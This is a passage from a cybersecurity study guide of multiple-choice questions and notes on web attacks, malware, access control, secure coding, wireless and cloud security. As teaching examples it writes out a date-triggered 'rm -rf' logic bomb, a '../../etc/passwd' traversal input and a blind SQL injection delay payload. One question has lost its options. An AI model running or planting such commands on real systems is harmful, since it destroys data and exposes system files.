> SOP is a fundamental security mechanism. It prevents a malicious script on `evil.com` from reading your private data or session cookies from `yourbank.com`.

Q8. (Comparison) What is the difference between **Authentication** and **Session Management**?

A) They are the same thing.

B) Authentication verifies the user's identity (e.g., login); Session Management tracks the user's state across multiple requests after login.

C) Session management is only for mobile apps.

D) Authentication uses cookies; Session management uses passwords.

> Authentication happens once (at login). Session management is the ongoing process of using a "Session ID" or "Token" to prove you are still the person who logged in.

Q9. (Conceptual) Why is the `HttpOnly` flag on a cookie important for security?

A) It makes the cookie expire faster.

B) It prevents client-side scripts (JavaScript) from accessing the cookie, mitigating the impact of XSS attacks.

C) It encrypts the cookie data.

D) It only allows the cookie to be sent over HTTPS.

> If an attacker successfully performs an XSS attack, they usually try to read `document.cookie` to steal session IDs. The `HttpOnly` flag blocks JS access to that cookie, protecting the session.

Q10. (Scenario-Based) An attacker discovers an application's hidden administrative URL `/admin_backup_setup_hidden` by guessing the name. This is an example of which OWASP category?

A) Injection

B) Insecure Design

C) Security Misconfiguration

D) Broken Access Control

> Failing to properly restrict access to sensitive pages or relying on "secret" URLs is a configuration and access control failure. All sensitive pages must require explicit authorization.

Q11. (Conceptual) What does **HSTS (HTTP Strict Transport Security)** achieve?

A) It speeds up the website.

B) It forces the browser to only communicate with the server over HTTPS, preventing SSL stripping attacks.

C) It prevents SQL injection.

D) It hides the server's IP address.

> HSTS is a policy communicated by the server to the browser. Once received, the browser will automatically convert any `http://` links to `https://` for that site.

Q12. (Scenario-Based) An application allows a user to "Upload an Avatar." An attacker uploads a file named `shell.php` containing malicious code. This is a:

A) Cross-Site Scripting attack.

B) Unrestricted File Upload vulnerability.

C) Denail of Service attack.

D) Man-in-the-Middle attack.

> If the server does not validate the file extension or content, an attacker can upload executable scripts to the web server and then trigger them to gain full control.

Q13. (Conceptual) What is **Directory Traversal** (or Path Traversal)?

A) A way to speed up file searches.

B) An attack that aims to access files and directories that are stored outside the web root folder (e.g., using `../`).

C) Deleting all files on a server.

D) A type of network routing.

> By using input like `../../../../etc/passwd`, an attacker can trick the application into reading sensitive system files that were never intended to be public.

Q14. (Comparison) Compare **Black-box** vs. **White-box** security testing for web apps.

A) Black-box is only for developers.

B) Black-box tests the app from the outside without knowing the code; White-box involves reviewing the actual source code (SAST).

C) White-box is always faster.

D) Black-box is more thorough.

> Black-box (DAST) simulates a real attacker. White-box (SAST) allows security analysts to find deep logic flaws by reading the code directly.

Q15. (Conceptual) What is the **"Least Privilege"** principle applied to a web application's database user?

A) The DB user should have the same password as the admin.

B) The DB user should only have permissions for specific tables (SELECT, INSERT) and should not be a "Superuser" or "DB Owner."

C) The DB user should have zero permissions.

D) The DB user should be allowed to drop tables for maintenance.

> If a web app is compromised via SQL Injection, a "Least Privilege" database user prevents the attacker from dropping the entire database or accessing system configuration tables.

Deep Dive: The Mechanics of SQL Injection

SQL Injection isn't just about reading data; it can be used for much more:

- **In-band SQLi:** The attacker uses the same communication channel to launch the attack and gather results (e.g., error messages displayed on screen).
- **Inferential (Blind) SQLi:** No data is actually transferred. The attacker asks the database "True or False" questions (e.g., `IF (1=1) WAITFOR DELAY '0:0:10'`). If the page takes 10 seconds to load, the attacker knows the answer was True.
- **Out-of-band SQLi:** The attacker tricks the database into making an external network request (like a DNS lookup) to an attacker-controlled server to leak data.

Stable Web Resources

- OWASP Top 10 Official Project
- PortSwigger Web Security Academy

Quick Revision Cheat Sheet

- **SQLi:** Parameterize everything.
- **XSS:** Encode output, sanitize input.
- **CSRF:** Use secret tokens + SameSite cookies.
- **IDOR:** Perform authorization checks on every ID.
- **HttpOnly:** No JavaScript access to cookies.
- **Secure flag:** Only send cookies over HTTPS.
- **WAF:** Layer 7 firewall for web logic.

END OF SUBTOPIC 06 — MOVING TO SUBTOPIC 07

Subtopic 07: Malware & Attack Techniques (12 MCQs)

Quick Notes

- **Malware (Malicious Software):** Any software intentionally designed to cause damage to a computer, server, client, or computer network.
- **Virus:** Malicious code that attaches itself to a legitimate program and requires human action (e.g., running the program) to spread.
- **Worm:** Standalone malware that self-replicates and spreads across networks automatically without human intervention.
- **Trojan Horse:** Disguises itself as legitimate software but contains a hidden malicious payload. It does not self-replicate.
- **Ransomware:** Encrypts the victim's data and demands payment (usually in cryptocurrency) for the decryption key.
- **Rootkit:** Designed to hide its existence and other malware on a system by subverting the OS kernel or boot process.
- **Botnet:** A network of compromised computers ("zombies") controlled by a central "Command and Control" (C&C) server.

Common Traps & Confusions

- **Virus vs. Worm:** A virus is like a biological virus (needs a host); a worm is like a self-driving car (moves on its own).
- **Spyware vs. Adware:** Spyware steals information (logins/keys); Adware just shows annoying pop-ups. Spyware is a much higher security risk.
- **Brute Force vs. Dictionary Attack:** Brute force tries **every** possible character combination. A dictionary attack uses a pre-built list of common passwords.

MCQs

Q1. (Comparison) What is the fundamental difference between a **Computer Virus** and a **Computer Worm**?

A) A virus is faster than a worm.

B) A worm targets the CPU, while a virus targets the RAM.

C) A virus requires a host program and human action to propagate, while a worm is standalone and self-replicates across networks.

D) Viruses are only found on Windows; worms are only for Linux.

> The defining trait of a worm is its ability to spread automatically (e.g., via network vulnerabilities) without a user ever opening a file. A virus remains dormant until the user executes the infected "host" file.

Q2. (Scenario-Based) A user downloads what looks like a "Free Video Player," but upon installation, their browser settings are changed, and their files are slowly being sent to a remote server. This is an example of a:

A) Logic Bomb

B) Trojan Horse

C) Virus

D) Ransomware

> A Trojan presents itself as a useful tool but hides a malicious function inside. Unlike viruses or worms, Trojans do not attempt to replicate themselves; they rely on social engineering to be installed.

Q3. (Conceptual) Which type of malware is specifically designed to grant an attacker high-level administrative access while simultaneously **hiding its presence** from antivirus software and the OS task manager?

A) Adware

B) Spyware

C) Rootkit

D) Macro Virus

> Rootkits operate at a deep level (often the kernel). They intercept system calls, so when an antivirus asks "List all running processes," the rootkit removes itself from the list before the OS responds.

Q4. (Code/Logic) A security analyst finds a script set to run on a server. What type of attack does this represent?

cron_job.sh

```
# Check if today is the company's 10th anniversary
if [ $(date +%Y-%m-%d) == "2026-05-20" ]; then
    rm -rf /var/www/html/*
fi
```

A) Ransomware

B) Trojan

C) Logic Bomb

D) Phishing

> A Logic Bomb is malicious code that lies dormant until a specific "trigger" occurs (e.g., a specific date, or a user being deleted from the HR system).

Q5. (Conceptual) What is the primary function of a **Command and Control (C&C)** server in a Botnet?

A) To host the antivirus updates.

B) To send instructions to the compromised "zombie" computers to coordinate a massive attack (like a DDoS).

C) To encrypt the attacker's hard drive.

D) To serve as a backup for the target's data.

> A Botnet is a decentralized collection of hacked devices. The C&C server is the centralized "brain" used by the attacker (Botmaster) to tell the devices what to do.

Q6. (Comparison) How does **Spear Phishing** differ from a standard **Phishing** attack?

A) Spear phishing is only done via SMS.

B) Standard phishing targets only high-level executives.

C) Spear phishing is a highly targeted attack directed at a specific individual or organization, often using personal details to build trust.

D) There is no difference.

> Phishing is a "cast a wide net" approach (sending millions of generic emails). Spear phishing is "hunting with a spear"—the attacker researches the victim first to make the scam highly convincing.

Q7. (Scenario-Based) A user's screen suddenly locks, and a message appears stating: "Your files have been encrypted. Pay 0.5 BTC to the following address to regain access." This is:

A) Spyware
B) Worm
C) Ransomware
D) Adware

> Ransomware uses asymmetric encryption to lock files. The attacker keeps the private key, making it mathematically impossible for the victim to recover the data without paying.

Q8. (Conceptual) An attacker uses a list of the 10,000 most commonly used passwords to try and log into an account. What is this technique called?

A) Brute-force Attack
B) Dictionary Attack
C) Social Engineering
D) Replay Attack

> A dictionary attack uses pre-defined lists of likely passwords. A pure Brute-force attack would try "aaaaa", then "aaaab", then "aaaac", which takes much longer.

Q9. (Conceptual) What does a **Keylogger** primarily target?

A) The computer's hard drive space.
B) Confidentiality (by capturing every keystroke, including passwords and credit card numbers).
C) The computer's network bandwidth.
D) Availability (by crashing the computer).

> Keyloggers are a form of spyware. By recording what a user types, an attacker can bypass encryption and multi-factor authentication by stealing credentials directly at the source.

Q10. (Scenario-Based) A high-profile website is taken offline because it is flooded with millions of requests from 50,000 different IP addresses simultaneously. This is a:

A) DoS (Denial of Service)

B) DDoS (Distributed Denial of Service)

C) SQL Injection

D) Man-in-the-Middle

> While both aim to make the site unavailable, a DDoS is "Distributed"—it uses a botnet (many sources), making it much harder to block than an attack from a single IP (DoS).

Q11. (Conceptual) What is **"Zero-day"** malware?

A) Malware that deletes all files on Day 0.

B) Malware that exploits a vulnerability that has no known patch or signature available from security vendors.

C) Malware that only lasts for 24 hours.

D) Malware designed by beginners.

> A Zero-day attack is extremely dangerous because traditional "signature-based" antivirus programs have no way of recognizing the new threat.

Q12. (Scenario-Based) An attacker leaves a USB drive labeled "Executive Salaries 2024" in a company parking lot, hoping an employee will plug it into a corporate computer. This is an example of:

A) Technical exploitation

B) Network sniffing

C) Social Engineering (Baiting)

D) Logic Bombing

> Baiting exploits human curiosity. The "payload" is usually a Trojan or worm on the USB drive that executes as soon as the curious employee opens the files.

Deep Dive: The Malware Lifecycle (APT)

Modern advanced malware often follows the **Advanced Persistent Threat (APT)** lifecycle:

1. **Reconnaissance:** Gathering data on the target (LinkedIn, port scans).
2. **Weaponization:** Creating a custom Trojan/Exploit.
3. **Delivery:** Phishing email or infected USB.
4. **Exploitation:** Triggering the bug in the target system.
5. **Installation:** Installing a backdoor or rootkit for persistence.
6. **Command & Control:** Establishing a link to the attacker's server.
7. **Actions on Objectives:** Stealing the data or destroying the system.

Stable Web Resources

- MITRE ATT&CK Framework
- Wikipedia: Malware

Quick Revision Cheat Sheet

- **Virus:** Needs a host + user action.
- **Worm:** Self-propagates via network.
- **Trojan:** Fake "good" app with "bad" payload.
- **Ransomware:** Encryption for money.
- **Rootkit:** Hides in the kernel.
- **Botnet:** Zombie network (C&C controlled).
- **Logic Bomb:** Trigger-based (Date/Event).

END OF SUBTOPIC 07 — MOVING TO SUBTOPIC 08

Subtopic 08: Authentication & Access Control (12 MCQs)

Quick Notes

- **Authentication (AuthN):** The process of verifying who a user is. Usually based on three factors:
  - *Something you know:* Password, PIN, Secret Question.
  - *Something you have:* Smart card, Token, Phone (OTP).
  - *Something you are:* Biometrics (Fingerprint, Iris).
- **Multi-Factor Authentication (MFA):** Requiring two or more factors from different categories.
- **Authorization (AuthZ):** The process of verifying what an authenticated user is allowed to do.
- **Access Control Models:**
  - *DAC (Discretionary):* Owner of the resource decides permissions.
  - *MAC (Mandatory):* System-enforced labels (e.g., Top Secret vs. Public).
  - *RBAC (Role-Based):* Permissions assigned to roles, users assigned to roles.
  - *ABAC (Attribute-Based):* Decisions based on user, resource, and environmental attributes.
- **Biometric Accuracy:** Measured by FAR (False Acceptance Rate) and FRR (False Rejection Rate). The point where they meet is the **CER (Crossover Error Rate)**.

Common Traps & Confusions

- **AuthN vs. AuthZ:** If you enter a correct password, you are *Authenticated*. If the system then tells you "You don't have permission to view this file," you have failed *Authorization*.

- **Two-Step vs. Two-Factor:** Two-Step could be two things from the same category (e.g., two passwords). Two-Factor *must* be from different categories (e.g., a password and a fingerprint).
- **Static RBAC:** RBAC can lead to "Role Explosion" in large organizations if not managed properly.

MCQs

Q1. (Conceptual) A user logs into a system using their **fingerprint** and a **one-time password (OTP)** sent to their mobile device. Which categories of authentication factors are being used?

A) Something you know and something you have.

B) Something you are and something you know.

C) Something you are and something you have.

D) Two instances of "something you know."

> A fingerprint is a biometric (something you are). A mobile device receiving an OTP is a physical token (something you have). This is a valid MFA implementation.

Q2. (Scenario-Based) An organization wants to implement a system where access is granted based on the user's department, the time of day, and the security level of the document. Which access control model is most suitable?

A) Discretionary Access Control (DAC)

B) Role-Based Access Control (RBAC)

C) Mandatory Access Control (MAC)

D) Attribute-Based Access Control (ABAC)

> ABAC is the most flexible model because it evaluates "Attributes" (Department, Time, Security Clearance) to make a dynamic decision, rather than relying on a static role or ownership.

Q3. (Code-Tracing) Analyze the following logic for a login system. What is the primary security flaw in this specific implementation?

auth_logic.js

```
function checkLogin(user_input, stored_hash) {
  if (md5(user_input) === stored_hash) {
```

```
    return true;
  }
  return false;
}
```

A) It uses triple equals (===).

B) It uses the MD5 hashing algorithm, which is cryptographically broken and vulnerable to collision attacks.

C) It returns a boolean value.

D) It compares the input to a stored hash.

> MD5 is no longer considered secure for password storage because it is too fast (easy to brute-force) and has known mathematical weaknesses (collisions). Modern systems should use bcrypt, Scrypt, or Argon2.

Q4. (Comparison) What is the primary difference between **RBAC** and **DAC**?

A) DAC is only for Windows; RBAC is for Linux.

B) In DAC, the owner of an object sets permissions; in RBAC, the administrator defines permissions based on job functions.

C) RBAC is less secure than DAC.

D) DAC uses biometrics; RBAC uses passwords.

> DAC (Discretionary) gives users control over their own files. RBAC (Role-Based) centralizes control, making it much easier for organizations to manage permissions as employees change roles.

Q5. (Conceptual) In biometric systems, what does the **False Acceptance Rate (FAR)** measure?

A) The percentage of authorized users who are denied access.

B) The percentage of unauthorized users who are incorrectly granted access.

C) The time it takes to scan a fingerprint.

D) The number of times the system crashes.

> FAR is a measure of security. A high FAR means the system is "too loose" and might let a stranger into the system. FRR (False Rejection Rate) is a measure of user convenience.

Q6. (Scenario-Based) A company uses a single set of credentials to allow employees to log into their email, the HR portal, and the internal wiki without re-entering their password. This is known as:

A) Multi-factor Authentication
B) Mandatory Access Control
C) Single Sign-On (SSO)
D) Identity Proofing

> SSO allows a user to authenticate once and gain access to multiple independent software systems, improving productivity and reducing password fatigue.

Q7. (Calculation) A biometric vendor claims their system has a **Crossover Error Rate (CER)** of 0.01%. How should a security professional interpret this?

A) The system is very slow.
B) The system is highly accurate, as the CER represents the point where FAR and FRR are equal (the lower the CER, the better).
C) The system will fail every 100 scans.
D) The system is insecure.

> CER is the primary metric for comparing biometric systems. A lower CER indicates a more accurate and better-tuned system.

Q8. (Conceptual) Which access control model is traditionally used in **Military and Government** settings because it relies on strict security labels and cannot be bypassed by users?

A) RBAC
B) DAC
C) MAC (Mandatory Access Control)
D) Free-Form Access

> MAC is the most restrictive model. The system (operating system or database) enforces a security policy defined by the administrator, and users cannot change the access rights to their own data.

Q9. (Scenario-Based) You want to prevent **"Privilege Creep"** (where users accumulate permissions over time that they no longer need). Which process is most effective?

A) Resetting all passwords monthly.

B) Switching to biometrics.

C) Regular User Access Reviews and Recertification.

D) Installing an IDS.

> Privilege creep is a major risk in RBAC. Regular audits ensure that if a user leaves a department, their old permissions are stripped, upholding the Principle of Least Privilege.

Q10. (Code-Tracing) Analyze this JSON access policy. Which user is allowed to **write** to the database?

policy.json

```json
{
  "roles": {
    "analyst": ["READ"],
    "editor": ["READ", "WRITE"]
  },
  "users": {
    "alice": "analyst",
    "bob": "editor"
  }
}
```

A) Alice

B) Bob

C) Both Alice and Bob

D) Neither

> In this RBAC-style policy, Bob is assigned the "editor" role. The "editor" role has the "WRITE" permission, whereas Alice's "analyst" role is limited to "READ."

Q11. (Conceptual) What is **Federated Identity Management**?

A) A system where everyone uses the same password.

B) A system that allows users to use the same credentials to access resources across different organizations or domains.

C) A backup for the local active directory.

D) A way to encrypt identities.

> Federation (like using a Google or LinkedIn account to log into a third-party app) allows identity information to be shared safely between trusted partners.

Q12. (Scenario-Based) An attacker uses a fraudulent website to intercept a user's 2FA SMS code in real-time and immediately uses it to log into the victim's real account. This demonstrates a weakness in which 2FA method?

A) Biometrics

B) Hardware Tokens

C) SMS-based OTP (due to interception/phishing)

D) Smart Cards

> SMS-based 2FA is considered the weakest form of MFA because it can be phished, intercepted via SIM swapping, or read by malware on the phone. Hardware tokens or app-based push notifications are more secure.

Deep Dive: FAR, FRR, and the CER

Biometric performance is a trade-off curve (ROC curve):

- **False Acceptance Rate (FAR - Type II Error):** The probability that the system incorrectly matches the input to a non-matching template in the database. (Security Risk).
- **False Rejection Rate (FRR - Type I Error):** The probability that the system fails to match the input to the user's own template. (Usability Problem).
- **Crossover Error Rate (CER):** The point where FAR = FRR. This is the single most important metric for comparing biometric hardware. A lower CER indicates a more powerful and accurate algorithm.

Stable Web Resources

- Wikipedia: Access Control
- NIST: MFA Definition

Quick Revision Cheat Sheet

- **AuthN:** Verify identity. **AuthZ:** Verify permissions.
- **3 Factors:** Know (Pass), Have (Token), Are (Bio).
- **DAC:** Discretionary (Owner). **MAC:** Mandatory (Labels).
- **RBAC:** Roles. **ABAC:** Dynamic Attributes.
- **FAR:** Stranger gets in. **FRR:** Owner kept out.
- **CER:** Lower is better accuracy.

END OF SUBTOPIC 08 — MOVING TO SUBTOPIC 09

Subtopic 09: Secure Software Development (8 MCQs)

Quick Notes

- **Security Development Lifecycle (SDL):** A software development process that helps developers build more secure software and address security compliance requirements while reducing development cost.
- **Shift Left:** The practice of integrating security early in the development process (during requirements and design) rather than waiting until the testing or deployment phase.
- **SAST vs. DAST:**
  - *SAST (Static Application Security Testing):* Analyzing source code without executing it (White-box).
  - *DAST (Dynamic Application Security Testing):* Testing the application in its running state from the outside (Black-box).
- **Threat Modeling:** A procedure for optimizing security by identifying objectives and vulnerabilities, and then defining countermeasures to prevent or mitigate the effects of threats to the system.
- **Input Validation:** The first line of defense; ensuring that the application only processes data that is in the correct format.

Common Traps & Confusions

- **Security as an "Add-on":** A common industry failure is treating security as a final "check" before release. This is expensive and often leads to unfixable architectural flaws.
- **Third-Party Libraries:** Developers often trust open-source libraries blindly. Secure development requires checking the **Software Bill of Materials (SBOM)** for known vulnerabilities in dependencies.
- **Compiler Warnings:** Professional secure coding requires "Warnings as Errors" (treat any security-related compiler warning as a build-breaking bug).

MCQs

Q1. (Conceptual) What is the primary objective of the **"Shift Left"** strategy in secure software development?

A) To move all security tasks to the left side of the data center.

B) To outsource security testing to third-party vendors.

C) To integrate security activities (like threat modeling and code analysis) as early as possible in the SDLC.

D) To use only open-source software.

> "Shift Left" means moving security to the beginning of the "timeline" (which reads left-to-right). Fixing a security flaw during the design phase is significantly cheaper than fixing it after the product has been deployed.

Q2. (Code-Tracing) Which of the following C code snippets demonstrates a **Secure Coding** practice for string copying?

secure_copy.c

```c
// Option A
strcpy(dest, src);

// Option B
strncpy(dest, src, sizeof(dest) - 1);
dest[sizeof(dest) - 1] = '\0';
```

A) Option A

B) Option B

C) Both are equally secure.

D) Neither is secure.

> `strcpy` is famously insecure because it does not check the size of the destination buffer, leading to buffer overflows. `strncpy` limits the number of characters copied, preventing memory corruption.

Q3. (Comparison) What is a major limitation of **SAST** (Static Analysis) compared to **DAST** (Dynamic Analysis)?

A) SAST requires the program to be running.

B) SAST often produces a high number of "False Positives" (flagging code as dangerous when it is actually safe).

C) SAST cannot find logic errors.

D) DAST is only for mobile apps.

> Since SAST tools analyze code without context, they often flag patterns that look like vulnerabilities but are actually handled safely elsewhere. DAST only flags vulnerabilities it can actually exploit in a running environment.

Q4. (Scenario-Based) During the **Design Phase**, a team creates a diagram showing how data moves through the system to identify where an attacker might intervene. This process is called:

A) Fuzz Testing

B) Threat Modeling

C) Regression Testing

D) Penetration Testing

> Threat modeling (using frameworks like STRIDE) is a proactive design-time activity used to identify potential security threats and define mitigation strategies before a single line of code is written.

Q5. (Conceptual) What is **Fuzz Testing** (Fuzzing)?

A) Testing the software in a room with high humidity.

B) An automated testing technique that involves providing invalid, unexpected, or

random data as inputs to a program to find crashes or memory leaks.

C) Reviewing the code for comments.

D) Testing the UI with a group of users.

> Fuzzing is excellent for finding deep-seated security vulnerabilities that human testers might miss, such as unhandled edge cases in input parsers.

Q6. (Scenario-Based) A developer wants to ensure that a web form only accepts valid email addresses. They implement a **Regular Expression** check on the server. This is an example of:

A) Output Encoding

B) Data Masking

C) Input Validation (Whitelisting)

D) Cryptographic Hashing

> Input validation ensures that data adheres to the expected format (Length, Type, Range) before it is processed. Whitelisting (allowing only valid formats) is much more secure than blacklisting (trying to catch bad inputs).

Q7. (Conceptual) In the context of secure development, what is a **Software Bill of Materials (SBOM)**?

A) A list of all hardware components in the server.

B) A comprehensive list of all components, libraries, and dependencies used in a piece of software.

C) The monthly bill for cloud hosting.

D) A list of all developers' names.

> As modern software relies heavily on third-party libraries, an SBOM is essential for tracking which of your applications are affected when a new vulnerability (CVE) is discovered in a common library.

Q8. (Comparison) Why is **Manual Code Review** still necessary even if an organization uses automated SAST tools?

A) Automated tools are too fast.

B) Automated tools struggle to find complex business logic flaws and architectural design errors that a human reviewer can spot.

C) Manual review is required by the C++ compiler.

D) Automated tools cannot read Java code.

> Automated tools are great at finding "known bad patterns," but they lack the reasoning to understand *why* a certain piece of logic might be insecure in a specific business context.

Deep Dive: The STRIDE Threat Model

Microsoft developed the STRIDE model to help developers systematically think about threats during the design phase:

- **S**poofing (Identity theft).
- **T**ampering (Modifying data).
- **R**epudiation (Denying an action).
- **I**nformation Disclosure (Privacy breach).
- **D**enial of Service (Crashing the system).
- **E**levation of Privilege (Gaining unauthorized power).

By checking every component of a design against these six categories, teams can identify vulnerabilities early.

Stable Web Resources

- Microsoft: Security Development Lifecycle
- OWASP: Software Assurance Maturity Model (SAMM)

Quick Revision Cheat Sheet

- **SDL:** Process to build security in.
- **Shift Left:** Test early, fix early.
- **SAST:** Static (White-box) code check.
- **DAST:** Dynamic (Black-box) runtime check.
- **Fuzzing:** Random input testing.
- **SBOM:** Dependency inventory.
- **STRIDE:** Threat modeling framework.

END OF SUBTOPIC 09 — MOVING TO SUBTOPIC 10

Subtopic 10: Wireless & Mobile Security (8 MCQs)

Quick Notes

- **Wi-Fi Encryption:**
  - *WEP:* Legacy, extremely insecure (RC4-based).
  - *WPA2:* Uses AES-CCMP. Vulnerable to "KRACK" and offline dictionary attacks.
  - *WPA3:* Modern standard. Uses **SAE (Simultaneous Authentication of Equals)** to prevent offline brute-force attacks.
- **Wireless Attacks:** *Evil Twin* (fake AP), *War Driving* (searching for open Wi-Fi), and *Packet Sniffing* (intercepting unencrypted airwaves).
- **Mobile Sandboxing:** Android and iOS isolate every app in its own sandbox, meaning one app cannot access another app's data without explicit permission.
- **Rooting/Jailbreaking:** Removing software restrictions imposed by the manufacturer. This disables the OS sandbox and significantly increases the attack surface.
- **MDM (Mobile Device Management):** Software that allows IT admins to enforce security policies (e.g., remote wipe, mandatory encryption) on company smartphones.

Common Traps & Confusions

- **SSID Hiding:** Hiding your Wi-Fi name is NOT a security feature. Attackers can easily find hidden SSIDs by monitoring probe requests from connected devices.
- **Bluetooth Risks:** *Bluejacking* (sending unwanted messages) is a nuisance; *Bluesnarfing* (stealing data like contacts/messages) is a serious theft.
- **Public Wi-Fi + VPN:** A common misconception is that a VPN makes a public network "Safe." A VPN only secures the tunnel; if you ignore a certificate warning for a site inside that tunnel, you are still vulnerable to MITM.

MCQs

Q1. (Conceptual) What is the primary functional improvement of **WPA3** over WPA2 regarding password security?

A) It uses a longer password minimum.

B) It allows for 10Gbps speeds.

C) It replaces the PSK 4-way handshake with SAE (Simultaneous Authentication of Equals), preventing offline dictionary attacks even if the user has a weak password.

D) It automatically encrypts every website you visit.

> In WPA2, an attacker can capture the "handshake" and use a powerful GPU to guess the password offline. WPA3's SAE requires a live interaction with the AP for every guess, making offline brute-force mathematically impossible.

Q2. (Scenario-Based) An attacker sets up a Wi-Fi hotspot in a coffee shop with the same name as the legitimate one (e.g., "Starbucks_Free"). Users connect to it, and the attacker intercepts their unencrypted traffic. What is this attack called?

A) Bluejacking

B) Evil Twin

C) War Driving

D) Replay Attack

> An Evil Twin is a rogue Access Point that appears to be a legitimate one. It is a highly effective way to perform Man-in-the-Middle (MITM) attacks on unsuspecting mobile users.

Q3. (Conceptual) Why is **Sandboxing** considered a critical security feature in modern mobile operating systems (Android/iOS)?

A) It makes the battery last longer.

B) It ensures that each application runs in an isolated environment, preventing a malicious app from accessing the data or memory of another app.

C) It allows apps to run faster.

D) It prevents the user from downloading large files.

> On a desktop PC, apps often have broad access to the file system. On mobile, apps are "caged." A game app cannot read your banking app's local data because they live in separate, restricted sandboxes.

Q4. (Scenario-Based) A corporate employee **Rooted** their Android phone to install a custom theme. Why would the IT department block this device from the corporate network?

A) Rooted phones use too much bandwidth.

B) Themes are a distraction to work.

C) Rooting disables the built-in security protections and the OS kernel integrity, allowing malware to bypass the app sandbox and steal corporate data.

D) Rooting a phone is illegal.

> Rooting/Jailbreaking grants the user (and potentially malware) administrative control over the kernel. This destroys the "Root of Trust" that mobile security relies on to keep apps isolated.

Q5. (Conceptual) In the context of **Mobile Device Management (MDM)**, what is a "Remote Wipe"?

A) Deleting the search history on the phone.

B) A command sent over the network to a lost or stolen device that securely deletes all user data to prevent unauthorized access.

C) Cleaning the physical screen of the device.

D) Disconnecting the phone from the Wi-Fi.

> Remote wipe is a core security feature for enterprises. If a laptop or phone containing sensitive emails is lost, the admin can send a "poison pill" that resets the device to factory settings as soon as it connects to the internet.

Q6. (Code/Logic) A security researcher discovers a vulnerability in the **4-way handshake** of a Wi-Fi protocol. This is most likely referring to which historical exploit?

A) Heartbleed

B) KRACK (Key Reinstallation Attack)

C) SQL Injection

D) Log4j

> The KRACK attack (2017) targets WPA2. It tricks the victim into reinstalling an already-in-use key, which allows the attacker to decrypt or forge Wi-Fi traffic.

Q7. (Comparison) What is the difference between **Bluejacking** and **Bluesnarfing**?

A) Bluesnarfing is for Wi-Fi; Bluejacking is for Bluetooth.

B) Bluejacking is sending unwanted messages; Bluesnarfing is the unauthorized theft of information (contacts, photos) from a device.

C) Bluejacking is more dangerous than Bluesnarfing.

D) There is no difference.

> Bluejacking is essentially "Bluetooth Spam." Bluesnarfing is a severe privacy breach where an attacker gains access to the data stored on a Bluetooth-enabled device.

Q8. (Conceptual) Which principle is violated when a simple "Calculator" app requests access to your GPS location, Contacts, and Microphone?

A) Defense in Depth

B) Data Integrity

C) Principle of Least Privilege

D) Non-repudiation

> Least Privilege states that an entity should only have access to the resources it *needs* to function. A calculator has no functional requirement for location or contact data; such requests are a major privacy red flag.

Deep Dive: SAE vs. PSK Handshakes

The transition from WPA2 to WPA3 changed the math of Wi-Fi security:

- **WPA2 (PSK):** Uses a 4-way handshake. The key used for encryption is directly derived from the password. If an attacker captures the handshake, they can compute millions of potential keys per second **offline** on their own hardware until they find a match.
- **WPA3 (SAE):** Uses a protocol called "Dragonfly." It uses **Forward Secrecy**. Even if an attacker captures the traffic, they cannot perform an offline dictionary attack because the exchange requires a unique, one-time interaction with the Access Point for every password attempt. This "active" requirement kills brute-force scalability.

Stable Web Resources

- Wi-Fi Alliance: Security Overview
- NIST: Guide to Enterprise Mobile Security

Quick Revision Cheat Sheet

- **WPA3:** SAE protects against offline brute-force.
- **Evil Twin:** Fake Wi-Fi hotspot.
- **Sandboxing:** App isolation (Default in Mobile OS).
- **Root/Jailbreak:** Breaks the sandbox (High risk).
- **MDM:** Corporate control (Remote wipe/Policy).
- **Bluesnarfing:** Stealing data via Bluetooth.

END OF SUBTOPIC 10 — MOVING TO SUBTOPIC 11

Subtopic 11: Cloud & Virtualization Security (8 MCQs)

Quick Notes

- **Shared Responsibility Model:** The fundamental security concept of cloud computing. The *Cloud Provider* is responsible for security **of** the cloud (hardware, facilities, global infrastructure). The *Customer* is responsible for security **in** the cloud (data, OS, identity, network configuration).
- **Hypervisor Security:** The hypervisor (VMM) must isolate Virtual Machines. *Hypervisor Escape* is a critical vulnerability where an attacker in a guest VM breaks out to the host OS.
- **Cloud Identity (IAM):** Identity and Access Management is the "new perimeter." Security relies on strong MFA and granular roles for every cloud resource.

- **Virtual Networking:** Using Security Groups (Virtual Firewalls) and VPCs (Virtual Private Clouds) to isolate workloads.
- **CASB (Cloud Access Security Broker):** A software tool or service that sits between an organization's on-premises infrastructure and the cloud provider's infrastructure to enforce security policies.

Common Traps & Confusions

- **Cloud is not "Auto-Secure":** A common mistake is assuming that moving to AWS or Azure makes your data secure. If you leave an S3 bucket "Public," the provider won't stop you—you are responsible for that configuration.
- **VM vs. Container Security:** VMs are generally considered more isolated than containers because VMs include their own kernel, whereas containers share the host OS kernel.
- **Snapshot Sensitivity:** Cloud snapshots (backups) of virtual disks often contain passwords or sensitive data in cleartext if the disk was not encrypted, making snapshots a target for theft.

MCQs

Q1. (Conceptual) According to the **Shared Responsibility Model** for an Infrastructure-as-a-Service (IaaS) provider, who is responsible for patching the Guest Operating System (e.g., Windows/Linux) running on a virtual machine?

A) The Cloud Provider (e.g., AWS/Google).

B) The Customer.

C) The Hardware Manufacturer.

D) It is patched automatically by the hypervisor.

> In IaaS, the provider only secures the physical host and hypervisor. The customer "owns" the virtual machine and is responsible for all software updates, security patches, and firewalls inside that VM.

Q2. (Scenario-Based) An attacker exploits a vulnerability in a web application running on a Virtual Machine and is able to execute commands directly on the **Host physical server**, bypassing the VM boundaries. What is this attack called?

Hypervisor Escape is a severe security failure. It allows an attacker to break the isolation of virtualization, potentially gaining access to all other VMs running on the same physical server.

Q3. (Conceptual) What is the primary security benefit of using a **VPC (Virtual Private Cloud)**?

A) It makes the website faster.
B) It provides an isolated, private virtual network environment where the customer has full control over IP addresses, subnets, and routing.
C) It automatically encrypts all files.
D) It replaces the need for passwords.

> A VPC allows a company to create their own "private datacenter" in the cloud, ensuring their servers are not directly exposed to the public internet unless explicitly configured.

Q4. (Scenario-Based) A developer accidentally commits an **AWS Access Key** to a public GitHub repository. Within minutes, attackers use the key to spin up 100 expensive servers for crypto-mining. This is a failure in:

A) Physical Security
B) Hypervisor Isolation
C) Identity and Access Management (IAM) / Secret Management
D) Data Integrity

> Secrets management is a core pillar of cloud security. Hardcoding keys is a critical mistake. Professionals use "Roles" and "Secret Managers" to provide temporary, rotated credentials.

Q5. (Comparison) Compare **Software-as-a-Service (SaaS)** and **Infrastructure-as-a-Service (IaaS)** security. In which model does the **Customer** have the **least** amount of security responsibility?

A) IaaS
B) PaaS
C) SaaS
D) They are the same.

> In SaaS (like Gmail or Salesforce), the provider manages almost everything, including the application code and OS. The customer is only responsible for their own account settings and the data they enter.

